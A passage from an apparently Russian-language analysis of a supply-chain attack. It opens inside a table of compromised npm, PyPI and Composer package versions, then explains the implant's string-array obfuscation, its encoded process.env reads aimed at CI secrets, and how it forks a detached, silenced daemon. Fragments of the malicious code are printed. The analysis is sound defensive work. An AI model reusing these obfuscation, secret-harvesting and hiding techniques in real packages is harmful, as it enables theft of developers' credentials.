href=\"https:\/\/www.npmjs.com\/package\/@tanstack\/nitro-v2-vite-plugin\">nitro-v2-vite-plugin<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.154.12<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:20:39.524Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:25:37.077Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tanstack\">@tanstack<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tanstack\/start-fn-stubs\">start-fn-stubs<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.161.9<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:20:39.939Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:25:36.487Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tanstack\">@tanstack<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tanstack\/history\">history<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.161.9<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:20:39.565Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:25:36.170Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tanstack\">@tanstack<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tanstack\/react-router-ssr-query\">react-router-ssr-query<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.166.15<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:20:39.110Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:25:36.061Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tanstack\">@tanstack<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tanstack\/zod-adapter\">zod-adapter<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.166.12<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:20:39.476Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:25:35.944Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tanstack\">@tanstack<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tanstack\/valibot-adapter\">valibot-adapter<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.166.12<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:20:39.430Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:25:35.919Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tanstack\">@tanstack<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tanstack\/solid-router-ssr-query\">solid-router-ssr-query<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.166.15<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:20:39.688Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:25:35.385Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tanstack\">@tanstack<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tanstack\/react-start-client\">react-start-client<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.166.51<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:20:39.703Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:25:34.743Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tanstack\">@tanstack<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tanstack\/router-devtools\">router-devtools<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.166.16<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:20:39.782Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:25:34.458Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tanstack\">@tanstack<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tanstack\/react-start-server\">react-start-server<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.166.55<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:20:40.014Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:25:34.084Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tanstack\">@tanstack<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tanstack\/solid-start-client\">solid-start-client<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.166.50<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:20:39.763Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:25:33.602Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tanstack\">@tanstack<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tanstack\/vue-start\">vue-start<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.167.61<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:20:40.136Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:25:33.541Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tanstack\">@tanstack<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tanstack\/start-storage-context\">start-storage-context<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.166.38<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:20:39.894Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:25:32.271Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tanstack\">@tanstack<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tanstack\/start-static-server-functions\">start-static-server-functions<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.166.44<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:20:40.002Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:25:32.260Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tanstack\">@tanstack<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tanstack\/vue-start-client\">vue-start-client<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.166.46<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:20:39.697Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:23:26.595Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tanstack\">@tanstack<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tanstack\/vue-start-server\">vue-start-server<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.166.50<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:20:40.336Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T19:23:25.071Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">composer<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~intercom\">intercom<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">intercom-php<\/p>\n<\/td>\n<td>\n<p align=\"left\">5.0.2<\/p>\n<\/td>\n<td>\n<p align=\"left\">\n<\/td>\n<td>\n<p align=\"left\">2026-04-30T21:07:05.227Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\">\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/intercom-client\">intercom-client<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">7.0.4<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-04-30T14:41:04.098Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-04-30T15:09:57.503Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">pypi<\/p>\n<\/td>\n<td>\n<p align=\"left\">\n<\/td>\n<td>\n<p align=\"left\">lightning<\/p>\n<\/td>\n<td>\n<p align=\"left\">2.6.3<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-04-30T12:52:46.204Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-04-30T13:10:58.399Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">pypi<\/p>\n<\/td>\n<td>\n<p align=\"left\">\n<\/td>\n<td>\n<p align=\"left\">lightning<\/p>\n<\/td>\n<td>\n<p align=\"left\">2.6.2<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-04-30T12:45:20.881Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-04-30T13:03:17.243Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~cap-js\">@cap-js<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@cap-js\/db-service\">db-service<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">2.10.1<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-04-29T12:14:00.709Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-04-29T12:20:37.765Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~cap-js\">@cap-js<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@cap-js\/postgres\">postgres<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">2.2.2<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-04-29T12:14:00.759Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-04-29T12:20:37.159Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~cap-js\">@cap-js<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@cap-js\/sqlite\">sqlite<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">2.2.2<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-04-29T11:25:47.756Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-04-29T11:33:06.849Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\">\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/mbt\">mbt<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.2.48<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-04-29T09:55:25.654Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-04-29T10:03:09.406Z<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<\/div>\n<\/details>\n<h3>\u0410\u043d\u0430\u043b\u0438\u0437 \u0432\u0437\u043b\u043e\u043c\u0430<\/h3>\n<p>\u0420\u0430\u0437\u0431\u0435\u0440\u0451\u043c, \u043a\u0430\u043a \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u0435\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043f\u0430\u043a\u0435\u0442: \u0435\u0433\u043e \u043e\u0431\u0444\u0443\u0441\u043a\u0430\u0446\u0438\u044e \u0438 \u043b\u043e\u0433\u0438\u043a\u0443 \u0440\u0430\u0431\u043e\u0442\u044b \u0432 CI-\u0441\u0440\u0435\u0434\u0435.\u00a0<\/p>\n<p>\u0424\u0430\u0439\u043b \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0441 \u0442\u0438\u043f\u0438\u0447\u043d\u043e\u0433\u043e \u0434\u043b\u044f <a href=\"http:\/\/obfuscator.io\">obfuscator.io<\/a> \/ JavaScript Obfuscator \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c\u0430 \u0440\u043e\u0442\u0430\u0446\u0438\u0438 \u043c\u0430\u0441\u0441\u0438\u0432\u0430 \u0441\u0442\u0440\u043e\u043a. \u042d\u0442\u043e \u0441\u0430\u043c\u043e\u0432\u044b\u0437\u044b\u0432\u0430\u044e\u0449\u0430\u044f\u0441\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0444\u043e\u0440\u043c\u0438\u0440\u0443\u0435\u0442 \u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0439 \u043c\u0430\u0441\u0441\u0438\u0432 \u0441\u0442\u0440\u043e\u043a, \u0430 \u0437\u0430\u0442\u0435\u043c \u043c\u043d\u043e\u0433\u043e\u043a\u0440\u0430\u0442\u043d\u043e \u0440\u043e\u0442\u0438\u0440\u0443\u0435\u0442 \u0435\u0433\u043e \u0434\u043e \u0442\u0435\u0445 \u043f\u043e\u0440, \u043f\u043e\u043a\u0430 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u0442 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0449\u0443\u044e \u0447\u0438\u0441\u043b\u043e\u0432\u0443\u044e \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u0443\u044e \u0441\u0443\u043c\u043c\u0443. \u0412\u0441\u0435 \u0441\u0442\u0440\u043e\u043a\u043e\u0432\u044b\u0435 \u043b\u0438\u0442\u0435\u0440\u0430\u043b\u044b \u0432 \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0435 \u0437\u0430\u043c\u0435\u043d\u044f\u044e\u0442\u0441\u044f \u0432\u044b\u0437\u043e\u0432\u0430\u043c\u0438 \u044d\u0442\u043e\u0433\u043e \u043c\u0430\u0441\u0441\u0438\u0432\u0430 \u0447\u0435\u0440\u0435\u0437 \u0444\u0443\u043d\u043a\u0446\u0438\u044e-\u0434\u0438\u0441\u043f\u0435\u0442\u0447\u0435\u0440.<\/p>\n<pre><code class=\"javascript\">\/\/ \u041f\u0435\u0440\u0432\u044b\u0435 500 bytes \u2014 string-array rotation bootstrapconst _0x5b1880=_0x253b;(function(_0x4116b8,_0x2320bb){  const _0x5f1a07=_0x253b, _0x5cdc04=_0x4116b8();  while(!![]){    try{      const _0x22fd2a =        parseInt(_0x5f1a07(0xf54))\/0x1        + parseInt(_0x5f1a07(0x806))\/0x2 * (parseInt(_0x5f1a07(0x13c4))\/0x3)        + parseInt(_0x5f1a07(0xb77))\/0x4 * (parseInt(_0x5f1a07(0x1f0f))\/0x5)        ...<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u041e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u0434\u0438\u0441\u043f\u0435\u0442\u0447\u0435\u0440 <code><em>0x5b1880<\/em><\/code><em> <\/em>\u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f 2 864 \u0440\u0430\u0437\u0430 \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u043e\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0435 \u0438\u0441\u0445\u043e\u0434\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430. \u041f\u043e\u043c\u0438\u043c\u043e \u0443\u0440\u043e\u0432\u043d\u044f 0x, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043b \u0432\u0442\u043e\u0440\u043e\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 <code>beautify()<\/code>. \u042d\u0442\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0441\u0442\u0440\u043e\u043a\u0438 \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0442\u0435\u043a\u0441\u0442\u0430 \u0432 \u043a\u043e\u0434\u0438\u0440\u043e\u0432\u043a\u0435 base64 \u0438 \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u0443\u0435\u0442 \u0438\u0445 \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u2014 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e XOR \u0438\u043b\u0438 AES. \u0417\u0430\u0442\u0435\u043c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u0430 \u0434\u043b\u044f <code>process.env[]<\/code>. \u0422\u0430\u043a\u043e\u0435 \u0434\u0432\u043e\u0439\u043d\u043e\u0435 \u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u043e \u0434\u043b\u044f \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0449\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0441\u0442\u043e\u0433\u043e \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f \u0438\u043c\u0435\u043d \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e grep:   <\/p>\n<pre><code class=\"javascript\">\/\/ 148 beautify()-encoded process.env accesses, e.g.:process.env[beautify('rX54ou2uVvizjlyyIxhohB\/m')]process.env[beautify('ZMIw5arFv0MJjr8UDH9n9RFjuHI5PQk=')]process.env[beautify('th5\/odSUZxX2AzAEMHt56vHtaBJ1CGwHPhvy7CD3JeZG\/\/RWUsMqMmU=')]process.env[beautify('kQQPsysgrZ5xrgrKwUM9tHhoYd5XTPQYyuHTVSFPGNnbfw==')]\/\/ ...and 144 \u0431\u043e\u043b\u0435\u0435<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u0418\u043c\u0435\u043d\u0430 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0432\u0438\u0434\u0435 \u0434\u043b\u044f \u044d\u0442\u0438\u0445 <code>beautify()<\/code>-\u0431\u043b\u043e\u043a\u043e\u0432 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b \u0431\u0435\u0437 \u0434\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0438\u043b\u0438 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f \u043a\u043b\u044e\u0447\u0435\u0439. \u041f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u044b\u0435 \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u044f \u043a <code>process.env<\/code> \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0432\u0438\u0434\u0435 (\u043d\u0435 \u0432 \u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c) \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u0435\u043d\u044b \u043d\u0438\u0436\u0435 \u0432 \u044d\u0442\u0430\u043f\u0435 2 \u0438 \u044d\u0442\u0430\u043f\u0435  3. \u0417\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043d\u0430\u0431\u043e\u0440, \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u043e\u0441\u0442\u0430\u0432\u0448\u0443\u044e\u0441\u044f \u0447\u0430\u0441\u0442\u044c \u043d\u0430\u0431\u043e\u0440\u0430 <code>GITHUB_*<\/code>, \u043f\u043e\u043b\u043d\u044b\u0435 \u0438\u043c\u0435\u043d\u0430 AWS-\u0443\u0447\u0451\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u043f\u0443\u0442\u0438 Vault, \u0443\u043f\u043e\u043c\u044f\u043d\u0443\u0442\u044b\u0435 \u043d\u0438\u0436\u0435.\u00a0<\/p>\n<h4>\u0414\u0435\u043c\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u044f \u0438 \u0437\u0430\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u0438\u0435<\/h4>\n<p>\u0418\u043c\u043f\u043b\u0430\u043d\u0442 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0441 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u044f <code>process.env.__DAEMONIZED<\/code>. \u0415\u0441\u043b\u0438 \u044d\u0442\u0430 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0430\u044f \u043d\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0430, \u0442\u0435\u043a\u0443\u0449\u0438\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u043e\u0442\u0434\u0435\u043b\u0451\u043d\u043d\u0443\u044e (detached) \u043a\u043e\u043f\u0438\u044e \u0441\u0430\u043c\u043e\u0433\u043e \u0441\u0435\u0431\u044f \u0441 <code>stdio<\/code>\u0438 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442 \u0435\u0451 \u0432 <code>['ignore','ignore','ignore']<\/code>, \u043e\u0442\u0440\u044b\u0432\u0430\u044f \u0434\u043e\u0447\u0435\u0440\u043d\u0438\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043e\u0442 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u043f\u043e\u0442\u043e\u043a\u043e\u0432 \u0440\u043e\u0434\u0438\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430. \u041f\u043e\u0441\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u0440\u043e\u0434\u0438\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e \u0437\u0430\u0432\u0435\u0440\u0448\u0430\u0435\u0442\u0441\u044f.<\/p>\n<p>\u042d\u0442\u043e \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0440\u0443\u0435\u0442, \u0447\u0442\u043e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0430\u044f \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u043d\u0435 \u0431\u0443\u0434\u0435\u0442 \u0432\u0438\u0434\u043d\u0430 \u0432 \u0432\u044b\u0432\u043e\u0434\u0435 <code>npm install<\/code> \u0438\u043b\u0438 \u043f\u0440\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0438 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432, \u0430 \u0434\u043e\u0447\u0435\u0440\u043d\u0438\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0431\u0443\u0434\u0435\u0442 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u043e\u0442\u0432\u044f\u0437\u0430\u043d \u043e\u0442 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0441\u0441\u0438\u0438, \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u043b\u0430 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430.<\/p>\n<pre><code class=\"javascript\">\/\/ \u0417\u0430\u0449\u0438\u0442\u0430 \u043e\u0442 \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u043e\u0433\u043e \u0444\u043e\u0440\u043a\u0430 \u0434\u0435\u043c\u043e\u043d\u0430 \u2014 \u0441\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u0438 \u043f\u0435\u0440\u0432\u043e\u043c \u0437\u0430\u043f\u0443\u0441\u043a\u0435if (process.env.__DAEMONIZED) return !0x1;  \/\/ \u0443\u0436\u0435 \u043f\u0435\u0440\u0435\u0432\u0435\u0434\u0451\u043d \u0432 \u0440\u0435\u0436\u0438\u043c \u0434\u0435\u043c\u043e\u043d\u0430, \u043f\u0440\u043e\u043f\u0443\u0441\u0442\u0438\u0442\u044c  \/\/ \u0417\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u043e\u0442\u0441\u043e\u0435\u0434\u0438\u043d\u0451\u043d\u043d\u044b\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0441\u043e \u0432\u0441\u0435\u043c\u0438 \u043f\u043e\u0434\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u043c\u0438 